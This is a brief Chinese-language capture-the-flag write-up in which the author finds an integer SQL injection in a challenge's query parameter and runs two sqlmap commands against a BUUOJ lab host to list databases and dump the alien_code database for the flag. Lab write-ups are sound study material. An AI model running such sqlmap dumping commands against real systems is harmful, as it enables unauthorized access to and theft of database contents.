sql注入，資訊蒐集
開啟之後大腦一片空白，不知道入手點在哪，資訊什麼都查不到，最後抓包抓到了東西
發現抓包的時候出現了兩個引數，直接在網頁上訪問一下
發現爆裝備了，在這裡我卡了挺久的，最後是看其他師傅的wp發現這裡是sql注入，就是一個最基礎的整形注入，
確定了之後我們直接上sqlmap
python sqlmap.py -u http://02cf228b-5b04-4c11-8620-7c88de0db19e.node5.buuoj.cn:81/query?search=amazonis_planitia --dbs
爆出庫名
python sqlmap.py -u http://02cf228b-5b04-4c11-8620-7c88de0db19e.node5.buuoj.cn:81/query?search=amazonis_planitia -D alien_code --all
爆出資料
得到flag
